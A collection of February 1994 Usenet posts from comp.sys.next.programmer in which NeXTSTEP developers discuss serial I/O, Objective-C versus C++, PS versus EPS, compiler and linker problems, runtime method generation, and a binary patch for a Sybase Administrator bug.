From: jweiss@casbah.acns.nwu.edu (Jerry Weiss) Newsgroups: comp.sys.next.programmer Subject: Re: Serial I/O takes up mucho processor time. Date: 6 Feb 1994 04:27:26 GMT Organization: Northwestern University, Evanston IL USA Distribution: usa Message-ID: <2j1rje$t2l@news.acns.nwu.edu> References: <1994Feb4.172916.1355@mrk.com> In article <1994Feb4.172916.1355@mrk.com>, Jerald Dawson <jerald@mrk.com> wrote: >Load average: 7.72, Mach factor: 0.11 [misc deleted] > >I don't understand why reading the serial port is that much of a drag on >performance. The Motherboard in this machine is a micronics motherboard >with the serialports built into the motherboard. BTW, this app does the >same thing if I run it on my Turbo Color or on any other machine I have >(from a 33 Mhz 486 to a 60 Mhz Pentium). It always wants to take about 90% >of the processor. If anyone can give me clue I'd apreciate it. > Tell/show us more about your App and algorithm. If you are doing something like a read on serial port w/o waiting for an byte, then you'll use 90% (or more) of about any machine. -- Jerry S. Weiss j-weiss@nwu.edu Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois %SYSTEM-S-PHALOKTARG, Phasers Locked on Target, Ready to Fire
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb6.065234.23583@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <CKq2Cs.26E@friday.com> <1994Feb5.203624.21081@rbc.uucp> Distribution: usa Date: Sun, 6 Feb 1994 06:52:34 GMT In article <1994Feb5.203624.21081@rbc.uucp> davis@ee.rochester.edu writes: >>It seems that most people here think C++ sucks and won't say why. You seem to >>imply that Objective-C is better but won't say why. >> >>Can someone make a clear chart of the differences so one can make a logical >>decision? >> preface: the first real programming language (read: made me think) I used was LISP. One of the major lessons one learns from LISP is that the language is only one component of your software development environment. There is a whole gestalt involved, which includes your editor, your debugger, compiler/interpreter, language, libraries, and the kinds of software you're writing. I've since become quite the C weenie (you have to if you want to do graphics for a living), and have dabbled in C++ and Objective-C. Well, actually I dabbled in C++ back 5 years ago, jumped into Objective-C 4 years ago, and stuck my toe back in C++ a year ago (for about 6 months). I really don't care for C++ and I like Objective-C. The reason I didn't like C++ was partially the language and mainly the environment. I'm sure I could have gotten over my language reservations (Hell, I hated C for years), but the environment ones were too steep. I was using SGI's C compiler with dbx as my debugger. I think there is a special circle of hell designed for the implementors of that... I was working in a project with several other engineers, and since it was an image processing system, operator overloading was used quite a bit... Without editor support (can you say meta-point?) and debugger support, I was lost. I had no class browser, no documentation besides the source code and other harried engineers' time. It was a nightmare. Perhaps if I was using Centerline's C++ environment on a fast machine it would have been different, but I wasn't. Objective-C, on the other hand, is situated in the NeXTSTEP environment, which, while not a LISP machine by any stretch of the imagination, was scads better than what I was dealing with on the SGI. I had a real editor (emacs) that was integrated (at least minimally) with the debugger (gdb). I didn't have to go through weird contortions to get the debugger to give me the info I needed, and their were other tools in the environment that made my life a little easier (PB, IB, MallocDebug, etc.). Finally, the most banal thing really was frustrating in C++ vs. Objective-C. In Objective-C, it's easy to look at a project and browse the classes, because of the universally implemented convention of having a .h and .m file per class. In C++, there is no such convention, and I went nuts looking around for various bits and pieces of classes. Anyway, those are some of my reasons why I dislike C++ and like Objective-C. Hope that helps keep things civil. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 6 Feb 1994 11:23:41 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2j2jvt$112@steffi.demon.co.uk> References: <CKq2Cs.26E@friday.com> <1994Feb5.203624.21081@rbc.uucp> davis@ee.rochester.edu wrote in comp.sys.next.programmer >It seems that most people here think C++ sucks and won't say why. You seem to >imply that Objective-C is better but won't say why. In short, all the hassles created by Multiple Inheritance ie. Virtual inheritance. Resolving name clashes etc. Virtual functions are a static mechanism. Lack of RTTI. Just read Coplien's "Advanced C++, Programming Styles and Idioms" someday. The only feature I like in C++ is that of Userdefined conversions. I think they are really useful and bring the language close to C _when it's needed_. I like the idea of being able to say. strlen(string_object) and having UDF's take care of the rest. > >Can someone make a clear chart of the differences so one can make a logical >decision? > >A side note ... >A few years ago I took one of those "mini-courses" in Objective-C from >Stepstone. I was not convinced to use it, so I continued doing my work in C, >even though it was already an object-oriented design. Thanks to my experience >in Objective-C, I put off even looking at C++ until I was forced to. After >working with C++ on a few small projects I have grown to like it. >Somehow I don't see the [object message:arguments ...] syntax as progress. It Parcplace would be interested in that comment. So you like either object.memberfunc() or object->memberfunc() depending on wether an object is statically or dynamically allocated. You like the Template syntax? I do like how you can overload the -> operator and provide transparent indirection though, I think that's useful. >looks like a kluge so a pre-processor can easily find the new style stuff >without tripping over standard C, and translate it into C. I do see the >ability to define new types with their operators (as C++ does) as real >progress. Can someone give some convincing arguments? I would like to see a >real comparison of the languages. How about a chart comparing them. > >In comparing, please don't lower yourself to the "MSDOS sucks and is popular >therefore anything that is popular sucks" argument. By doing so you destroy >your credibility. > >Please don't take this as a flame. I really want to know. In general I don't like the rules in C++. There are simply too many of them for the "user" to be familar with. Too many traps and pitfalls. It always astounds me how Andy Koenig has never written C++ Traps and PitFalls. (I'm sure politics is involved there) Things like, have a superclasses constructor automatically called when it's assignment operator (providing it's not the default) isn't just for example. It's been a while since I read my 3 books on C++ (Stroustrup,Lippman,Coplien) and I will return because like it or not in this day and age all programmers regardless of platform should be familar with the language's features. Looking forward to seeing some more useful Comments from seasoned C++ users like Paul Kunz, David Pollak, Chris Cleeland. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: NXBrowser reloadColumn Question Message-ID: <1994Feb5.141509.667@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <CKo5sM.pp@nyro.com> Date: Sat, 5 Feb 1994 14:15:09 GMT In article <CKo5sM.pp@nyro.com> ian_stewart@nyro.com (Ian H. Stewart) writes: > I now remove an item from the list object as follows: > > [...] > The problem I have is that the NXbrowser (scroller) > now snaps back up to the top. If you look at the way Workspace > deletes a file, this does not occur. Simple problem, difficult solution: id theMatrix = [theBrowser matrix]; int i = [theMatrix selectedRow]; [ Delete & reload columns ]; [theMatrix scrollCellToVisible: i : 0]; [theMatrix selectCellAt: i : 0]; Read the docs for Matrix and you can modify the above solution for your needs. This shows a major problem of NeXTSTEP: You want to do a simple thing, but you cannot find a method for it. Now the hard hacking starts: You have to read all parent classes docs and try to find out how the whole thing works. In this case, A NXBrowser is a simple thing which should be easy to program. But actually it is not. Finally, the solution looks easy (as can be seen above), but it takes much time to figure out the trick. The result: If you do things which NeXT has not prepared a method for, NeXTSTEP can be really hard. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: PS -> EPS? Date: 5 Feb 1994 22:12:17 GMT Organization: Palumbian Research Labs Sender: mow@marsu (Markus Wenzel) Distribution: world Message-ID: <2j15k1$408@marsu.tynet.sub.org> References: <gelatoCKo7EF.LBL@netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Keywords: PS EPS In article <gelatoCKo7EF.LBL@netcom.com>, gelato@netcom.com (Steve James) writes: > What is the difference between a .ps file and a .eps file? Is it possible > to convert one to the other? If I click "Save..." in a print panel, I get > a .ps file. But I need to give this file to someone who is working in > Illustrator and Photoshop on a Mac, and he said he needs it in .eps format. > Is it possible to get the .ps massaged into a .eps? The differences are: 1. An EPS file must have a bounding box und must not exceed one page. 2. Some (very few) PostScript commands are forbidden (that means useless or senseless) in EPS files, e.g. 'showpage'. Regards, Markus. -- Marsu: "There really exist some people who live happily and satis- fied without computers." -- Frankie: "Oh no, they just emulate it!" ----- Markus Wenzel System administration, Consulting, Networking mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT IRC: Marsu Intel aside.
From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn) Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: IOAddressRanger? Summary: Where is IOAddressRanger in the library? Keywords: IOAddressRanger Message-ID: <CKt71o.ELJ@ve6mgs.ampr.ab.ca> Date: Sun, 6 Feb 1994 15:29:47 GMT Followup-To: comp.sys.next.programmer Organization: VE6MGS Gateway In an attempt to use the various DriverKit tools associated with inspection, I found that there is *no* Library associated with the IOAddressRanger (setRangeLength,setAddressLimits,setStartAddress,init et al). I would realy prefer not to have to write all my own methods to handle a Configuration.app, and was wondering if someone knew if the Library was *hiding* somewhere (I have nm'd&string'd all the files in /lib and /usr/lib, and have perused NeXTanswers up to #1473, I have not checked if there are any new NeXTanswers for the past month). I don't want to re-invent the wheel, but I may have to anyways since I want to extend the capabilities of the IOAddressRanger to handle multiple address ranges. Ciao -- Mark
From: qiu@tree.egr.uh.edu (Feng ) Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin Subject: How do you choose video card for next/486 system Date: 6 Feb 1994 19:50:25 GMT Organization: University of Houston Message-ID: <2j3hm1$92s@menudo.uh.edu> Hi, I have a 486/dx2-66 running nextstep3.2 with standard VGA. I'm getting tired of the big fonts from standard VGA driver. So I am thinking buying a video card. I have tried ATI Ultra Pro I think it is slow with 16-bit color also the price is not cheap. As for diamond viper VLB it claims much faster than ATI but no current support. I have to wait and see. Then the last choice, for the time being, might be 2-bit gray video card like Tseng Lab's VT4000 and STB's Horizon VLB. Did anyone over there who used 2-bit card ? Is it fast ( I can't tolerate slow displaying. I'd rather have much faster gray than a slow 16-bit color display)? Please tell me your opinions. Feng qiu@tree.egr.uh.edu
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs,comp.sys.next.sysadmin From: thf@zelator.de (Thomas Funke) Subject: Sybase Administrator buggy under 3.x, Solution included. Message-ID: <1994Feb6.120754.878@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization Date: Sun, 6 Feb 1994 12:07:54 GMT If you have the Sybase limited server, as distributed with 2.0, you'll notice a severe bug under NS3.x: When using the Administrator-App to start the server, the App will start 2 Terminal windows (with the same commands), starting the server twice. Of course this eventually will lead to a crash. Nevertheless, some hacking shows: There is a workaround available ! Get the 'binpatch' program and apply the following patch to the binary '/usr/sybase/Administrator' cmp -l Administrator.orig Administrator 2651 141 116 2652 377 161 2653 5 116 2654 0 161 2655 16 116 2656 42 161 As usual: No guarantee, use it with your own risk. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb6.125426.1172@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <1994Feb4.172345.2163@planon.qc.ca> Date: Sun, 6 Feb 1994 12:54:26 GMT In article <1994Feb4.172345.2163@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: > > d) In the OOP systems, you have three (3) contenders: Cairo, > Taligent and NEXTSTEP. > Two of them use C++ and NEXTSTEP has privileged Objective-C. > Since the only shipping OOP system is NEXTSTEP, Objective-C > has a good future. > There are also Eiffel-Systems and Smalltalk-systems shipping. > e) PDO is an astonishing thing. Big hardware vendors work on PDO. > PDO exists > in a context that Objective-C could address better than C++. In Smalltalk not a new thing. Actually NeXT's PDO is a clone from earlier developments under Smalltalk. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: jeffreyh@scalable.com (Jeffrey Heller) Newsgroups: comp.sys.next.programmer Subject: Help needed with cc warnings Date: 06 Feb 1994 22:15:15 GMT Organization: Scalable Technologies Inc. Distribution: world Message-ID: <JEFFREYH.94Feb6141515@frodo.scalable.com> With NextStep 3.2 I am using the -posix flag to cc. I am getting many warnings of the following sort. Is there a way to disable them. It is hard to find real errors inside the trash. foo.h:71: warning: could not use precompiled header '/NextDeveloper/Headers/bsd/libc.p', because: foo.h:71: warning: #ifdef '_POSIX_SOURCE' not defined when precompiled, but now defined: foo.h:71: warning: on the command line foo.h:71: warning: #ifdef '__STRICT_ANSI__' not defined when precompiled, but now defined: foo.h:71: warning: at /NextDeveloper/Headers/ansi/standards.h:8 Thanks for any ideas. -Jeff -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =- Jeffrey Heller -= =- Scalable Technologies, Inc. -= =- 1975 West El Camino Real, Suite 102, Mountain Vaiw, Ca 94040 -= =- Phone: (415) 965-5873 Email: jeffreyh@scalable.com -= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=
From: pgraff@graff.next.com (Peter Graffagnino) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 6 Feb 1994 22:16:28 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2j3q7s$efl@rosie.next.com> References: <2j2jvt$112@steffi.demon.co.uk> In article <2j2jvt$112@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >davis@ee.rochester.edu wrote in comp.sys.next.programmer >>It seems that most people here think C++ sucks and won't say why. You seem to >>imply that Objective-C is better but won't say why. > >In short, all the hassles created by Multiple Inheritance ie. Virtual >inheritance. Resolving name clashes etc. Virtual functions are a >static mechanism. Lack of RTTI. > >Just read Coplien's "Advanced C++, Programming Styles and Idioms" >someday. > >The only feature I like in C++ is that of Userdefined conversions. I >think they are really useful and bring the language close to C _when >it's needed_. I like the idea of being able to say. >strlen(string_object) and having UDF's take care of the rest. > >> >>Can someone make a clear chart of the differences so one can make a logical >>decision? >> >>A side note ... >>A few years ago I took one of those "mini-courses" in Objective-C from >>Stepstone. I was not convinced to use it, so I continued doing my work in C, >>even though it was already an object-oriented design. Thanks to my experience >>in Objective-C, I put off even looking at C++ until I was forced to. After >>working with C++ on a few small projects I have grown to like it. > >>Somehow I don't see the [object message:arguments ...] syntax as progress. It > >Parcplace would be interested in that comment. > >So you like either > >object.memberfunc() > >or > >object->memberfunc() > >depending on wether an object is statically or dynamically allocated. > >You like the Template syntax? > >I do like how you can overload the -> operator and provide transparent >indirection though, I think that's useful. > >>looks like a kluge so a pre-processor can easily find the new style stuff >>without tripping over standard C, and translate it into C. I do see the >>ability to define new types with their operators (as C++ does) as real >>progress. Can someone give some convincing arguments? I would like to see a >>real comparison of the languages. How about a chart comparing them. >> >>In comparing, please don't lower yourself to the "MSDOS sucks and is popular >>therefore anything that is popular sucks" argument. By doing so you destroy >>your credibility. >> >>Please don't take this as a flame. I really want to know. > >In general I don't like the rules in C++. There are simply too many of >them for the "user" to be familar with. Too many traps and pitfalls. >It always astounds me how Andy Koenig has never written C++ Traps and >PitFalls. (I'm sure politics is involved there) Things like, have a >superclasses constructor automatically called when it's assignment >operator (providing it's not the default) isn't just for example. > >It's been a while since I read my 3 books on C++ (Stroustrup,Lippman,Coplien) >and I will return because like it or not in this day and age all programmers >regardless of platform should be familar with the language's features. > >Looking forward to seeing some more useful Comments from seasoned C++ >users like Paul Kunz, David Pollak, Chris Cleeland. >-- > "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) > "No, what?" > "Nothing" (Charade, 1963) > (ASCII for text only messages) Although I admit to not using C++ much and to being more of a `graphics guy' than a `language guy', the major difference for me between Objective-C and C++ is that Objective-C has a runtime. Both languages can be implemented as C pre-processors, but Objective-C also requires a significant runtime library of routines. These routines not only handle method dispatch but make all object and method type information available at runtime. At runtime, C++ fundamentally boils down to C's datatypes and calling mechanisms, (i.e. all C++ method invocations are either direct on indirect function calls). So... what does a runtime buy you? Among other things: * reasoning about classes at runtime (respondsTo:, isKindOf:, ....) This allows for extremely loose coupling between objects which don't need to know much about each other. For example: delegation. If I have an object who may or may not be interested in an event that just occurred, I can ask it at runtime: if ([delegate respondsTo: @selector(somethingHappened)]) [delegate somethingHappened]; This allows `delegate' to be of an arbitrary class, perhaps even a dynamically loaded class developed independently from my program. The only information my code needs is whether or not the delegate implements the method in question. Another example is an object editor which can use the runtime type information to directly set an object's instance variables. This is how Interface Builder sets up connections between objects. * adding methods to superclass doesn't break binary compatibility Of course, Objective-C does have this problem for instance variables, but C++ has this problem for *methods* as well. This is because the C++ compiler must calculate an exact offset into a jump table for each method invocation. If you insert entries into the table by adding methods, all clients calling the class must be recompiled. * language transparent distribution. Because class type information and method argument signatures are available from the Objective-C runtime, you can implement distribution at runtime via forwarding. A proxy object on one side of the wire `fronts' for a remote object. The caller messages the proxy as though it were a real object, and the proxy uses the runtime to discover the method arguments and types and encode them for remote invocation. (as in NeXT's distributed objects) Because C++ has no runtime, the C++ community needs a whole host of new abstractions (COM, SOM, CORBA, IDL,...) to handle distribution. One cannot implement language transparent distribution at runtime in C++, instead stub routines must be generated at compile time (perhaps even specified in yet another language like IDL). Again this is no fundamental advance over C-based distribution mechanisms such as RPC and MIG. Peter Optional soapbox reading: I'm always amazed that people bother inventing yet more languages or abstractions rather than resolve with the problems or incompatibilities with their current tools. In other words why doesn't the C++ community solve the distribution problem by developing a more dynamic object model and a runtime instead of inventing more languages and abstractions? A smaller example of this phenomena is the invention of `imake' by the X community to make up for problems with `make'. Surely a portable/enhanced version of make would have been better.
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: PS -> EPS? Date: 6 Feb 1994 23:13:10 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2j3ti6$7u9@agate.berkeley.edu> References: <2j15k1$408@marsu.tynet.sub.org> In article <2j15k1$408@marsu.tynet.sub.org> mow@marsu.tynet.sub.org (Markus Wenzel) writes: >In article <gelatoCKo7EF.LBL@netcom.com>, gelato@netcom.com (Steve James) writes: >> What is the difference between a .ps file and a .eps file? >The differences are: > >2. Some (very few) PostScript commands are forbidden (that means useless > or senseless) in EPS files, e.g. 'showpage'. I've seen this once too many... The operator 'showpage' is permitted in EPS files, although it is not necessary. It is certainly not forbidden. It is the responsibility of the EPS importing application to redefine it as "/showpage {} def". See p. 719 of the Red Book (2-nd ed.). There are certainly illegal operators for EPS, but showpage is not one of them. For the complete list, see pp. 714-715 of the same book. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.programmer From: walters@corndog.id.com (Chris Walters) Subject: Re: Categorizing Categories Message-ID: <1994Feb4.032119.29259@corndog.id.com> Organization: Intrinsic Development Corporation References: <CKIH0D.1wA@friday.com> Date: Fri, 4 Feb 1994 03:21:19 GMT bbum@friday.com writes: > > Categories are usually reasonably small-- organizing them into a hierarchy > is probably only going to make administrivia/lookup more difficult. > > I have been using the following category naming conventions and have found > it to be quite workable: > > Class.Category.h > Class.Category.m > > That is, a category to View named "RectManipulationUtilities" would be: > > View.RectManipulationUtilities.h > View.RectManipulationUtilities.m > > etc... > > b.bum I prefer Class+Category.[hm], '+' instead of '.' Silly little detail, really. -- Chris Walters 13711 Rosetree Court UBS Securities Chantilly, VA 22030 walters@id.com (703)742-0470,(703)742-0471 FAX ------------------------- Hack Naked --------------------------
From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer) Newsgroups: comp.sys.next.programmer Subject: Using EMACS as a LISP interpreter Date: 7 Feb 1994 01:09:18 GMT Organization: University of California, at Berkeley Message-ID: <2j44bu$a1k@agate.berkeley.edu> Hi all, I am taking a course taught in LISP and I need a good interpreter for my intel NEXTSTEP machine. I was wondering if it is possible to use the LISP interpreter built into EMACS as a runtime environment (where I could load/run programs). If so, how do I do this? If not, are there any ftp-able LISP interpreters that will compile under NS/FIP? Thanks in advance, Mark Frohnmayer markf@cory.eecs.berkeley.edu
From: jeffreyh@scalable.com (Jeffrey Heller) Newsgroups: comp.sys.next.programmer Subject: problem with -posix Date: 07 Feb 1994 00:41:31 GMT Organization: Scalable Technologies Inc. Distribution: world Message-ID: <JEFFREYH.94Feb6164131@frodo.scalable.com> In linking an application that is using the -posix cc option I am having the following link problems. It looks like libposix.a needs symbols from somewhere, but I can not seem to figure out where. Anyone have an idea where to get the missing symbols? -Jeff /usr/lib/libposix.a(strftime.o) reference to undefined _objc_msgSend /usr/lib/libposix.a(strftime.o) reference to undefined _NXGetDefaultValue /usr/lib/libposix.a(strftime.o) reference to undefined _NXRegisterDefaults /usr/lib/libposix.a(strftime.o) reference to undefined .objc_class_name_NXStringTable /usr/lib/libposix.a(strftime.o) reference to undefined .objc_class_name_NXBundle /usr/lib/libposix.a(localeconv.o) reference to undefined _NXRegisterDefaults ld: Undefined symbols: _objc_msgSend _NXGetDefaultValue _NXRegisterDefaults .objc_class_name_NXStringTable .objc_class_name_NXBundle -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =- Jeffrey Heller -= =- Scalable Technologies, Inc. -= =- 1975 West El Camino Real, Suite 102, Mountain Vaiw, Ca 94040 -= =- Phone: (415) 965-5873 Email: jeffreyh@scalable.com -= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: rawyatt@teal.csn.org (Robert A. Wyatt) Subject: Trouble with fonts...Please help! Message-ID: <CKtz1n.Hz0@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Mon, 7 Feb 1994 01:34:35 GMT Thanks in advance to anyone who takes the time to help me out with this... Now, on to the problem... I have an DEC system running NS/I and an Apple LaserWriter Pro 630 connected via the parallel port...I installed some fonts I had on my black system before I bought an intel-based computer and they seem to work fine (at least they show up on the screen without any difficulty)...When I try to print, however, my printer produces the following message in the top left hand corner of the page: ERROR: undefined OFFENDING COMMAND: STACK: Any ideas as to what's going on? Do fonts need to be recompiled like software? I have no problem printing with the NeXT-supplied fonts, but as soon as I use some of my old black fonts, I get the above message... Thanks for your help! You can reply to this account (rawyatt@csn.org) with TEXT mail ONLY! To send me NeXTmail (which I prefer as it comes right to my machine), send mail to: rob@bedazzled.com (NeXTmail and MIME) Best Regards, Rob Wyatt
From: tlm@ameslab.gov (Tom Marchioro) Newsgroups: comp.sys.next.programmer Subject: Re: PS -> EPS? Date: 7 Feb 1994 01:42:55 GMT Organization: Iowa State University, Ames, Iowa Distribution: world Message-ID: <2j46av$dp6@news.iastate.edu> References: <2j3ti6$7u9@agate.berkeley.edu> Izumi Ohzawa writes []In article <2j15k1$408@marsu.tynet.sub.org> mow@marsu.tynet.sub.org (Markus Wenzel) writes: []>In article <gelatoCKo7EF.LBL@netcom.com>, gelato@netcom.com (Steve James) writes: []>> What is the difference between a .ps file and a .eps file? []>The differences are: []> []>2. Some (very few) PostScript commands are forbidden (that means useless []> or senseless) in EPS files, e.g. 'showpage'. [] []I've seen this once too many... [] []The operator 'showpage' is permitted in EPS files, although it is not []necessary. It is certainly not forbidden. []It is the responsibility of the EPS importing application to redefine []it as "/showpage {} def". [] []See p. 719 of the Red Book (2-nd ed.). [] []There are certainly illegal operators for EPS, but showpage is not []one of them. For the complete list, see pp. 714-715 of the same book. Good that you made this point, as this piece of misinformation has propagated far and wide. My least favorite example (in the sense of being the one that bites my rear most often) is that Mathematica notebooks do not redefine showpage.....so I have to edit it out by hand ahead of time or the notebook will not print properly. I filed a bug report with WRI. Q: What are the odds on it being acted on? a: About as good as the bug reports I've filed with NeXT. :-/ -- Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist Center for Physical and Computational Mathematics 515-294-5543 Ames Laboratory 515-233-1216 (home) Ames, Iowa 50011 tlm@iastate.edu
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: Runtime hacker's club Message-ID: <1994Feb5.131508.20903@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2ioolu$8hr@rosie.next.com> Date: Sat, 5 Feb 94 13:15:08 GMT In article <2ioolu$8hr@rosie.next.com> Ralph_Zazula@next.com (Ralph Zazula) writes: > Montgomery Zukowski writes > > If that title caught your attention then maybe you can shed some light > on > > this scenario. Let's say I want to dynamically create an object just to > > store data and maybe use inherited methods from a superclass. I want > > other objects to be able to call setWhatever:(anytype) blah and > > -(anytype)whatever to get data in and out. > > [deleted] > > What if your object implements forward:: and then checks the selector > there? In that case, you get the marg_list which you could unparse and > forward on to the properly typed function/method. > > Ralph > -- > Ralph Zazula I've tried the method of using forward:: to dispatch arbitrary messages such as the ones Monty described. The problem is that forward:: returns and id and there's no getting around it. The big problem is if you have a double accessor method then - setArbitraryDoubleValue:(double)aDouble; will work for the forward:: case because you can walk the marg_list and get the parameter. However the - (double)arbitraryDoubleValue; accessor method will fail because double is different in size than id. This is just one case. Depending upon architecture there may be many different problem cases (such as long long return values), so the problem is one of theory - you can't implement the general case with forward::. forward:: is also so glacially slow as to negatively impact performance. In my experience the kind of methods that get called with this are the ones that you need to perform lightning fast, with as little overhead as possible because you call them all of the time. Monty's idea seems the most practical, since you can't get around the return value problem. (If someone can clean this up or make the implementation less complex, please feel free; this is just some stuff off the top of my head) First of all you need generic set/get methods (as Monty suggested) for the basic types you use, such as @interface GenericSetAndGetMethods(Object) - __genericSetDoubleValue:(double)aDouble; - (double)__genericDoubleValue; ..etc. for int,id,float,ad. nauseum. @end These give you pointers to implementations of the correct methods. Since you can get pointers to these IMPs you can copy the structure; Method makeNewMethod(SEL oldMethod,Class oldClass,BOOL set,const char *ivarName) { char newMethodName[1024]; SEL newSelector; Method newMethod = NULL; if (set) { strcpy(newMethodName,"set"); newMethodName[3] = toupper(ivarName[0]); strcpy(&newMethodName[4],&ivarName[1]); strcat(newMethodName,":"); } else strcpy(newMethodName,ivarName); if ((newSelector = sel_registerName(newMethodName)) != NULL) { struct objc_method *oldMethod; oldMethod = class_getInstanceMethod(oldClass,oldMethod); newMethod = malloc(sizeof(struct objc_method)); bcopy(oldMethod,newMethod,sizeof(struct objc_method)); newMethod->method_types = NXCopyStringBuffer(newMethod->method_types) newMethod->method_name = newSelector; } return(newMethod); } The implementations of the set/get methods would be like: @implementation GenericSetAndGetMethods(Object) - __genericSetDoubleValue:(double)aDouble { double *addr; addr = (double *)[self lookupAddressOfIvar:[self ivarForMethod:_cmd]]; *addr = aDouble; return(self); } - (double)__genericDoubleValue; { return(*(double *)[self lookupAddressOfIvar:[self ivarForMethod:_cmd]]); } @end where the lookupAddressOfIvar: and ivarForMethod: would consult a HashTable based on class to get a HashTable based on method selector to get the instance variable in question (type Ivar). Implementing them should be no big problem, just tedious. Actually generating these new methods and adding them to the class in question would be the work of another method to scan the list of Ivars for a given class and determine (from ivar_type) which generic method to copy. We at FNBC have come up with a simpler, more flexible method based soley on objects which I feel works much better than the above methods, which need to have a generic method added for each new struct or type. Thanks for holding on this long! I got a little long-winded there... - Drew -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." | | drew@fnbc.com (NeXTmail) | - Pink Floyd | +--------------------------------+---------------------------------------+
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: Typed streams are evil Message-ID: <1994Feb5.135631.21107@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <CKLpv2.BFt@cbfsb.cb.att.com> Date: Sat, 5 Feb 94 13:56:31 GMT In article <CKLpv2.BFt@cbfsb.cb.att.com> mdw@sitar.jazz.att.com (Mark Wuest) writes: [deleted] > Suffice it to say that it is provided as a package (a compiler for message > definitions and a library of functions that parse records/messages for you) > and works seemlessly across many, many different hardware architectures. > This one does not support any floating point stuff, but could easily be > extended to do so. It supports char, long, short, etc., and arrays of any of the > above and arrays of any other message consisting of the above. (Of course, > you could define your own float type with the two parts as longs).Anyway, just > another data point that *LOTS* of people use ASCII-fied binary as a form of > platform-independant data definition. > > For all I know, it is available (like nmake) as a product. > > Mark > -- > Mark Wuest > mdw@sitar.jazz.att.com (NeXT Mail Ok) Someone else pointed out that floating point data loses precision when written as ASCII. For ASCII representations in the systems that I write I usually write out a value like myValue = 3.141596; /* hex=0x36e00101400921f9 */ So that if the comment and tag are present it reads the value directly in hex without loss of precision. If the file is edited then the hex value is removed then it just reads the ASCII version. What's wrong with this picture (apart from endian issues, but let's not start that here!)? - Drew -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." | | drew@fnbc.com (NeXTmail) | - Pink Floyd | +--------------------------------+---------------------------------------+
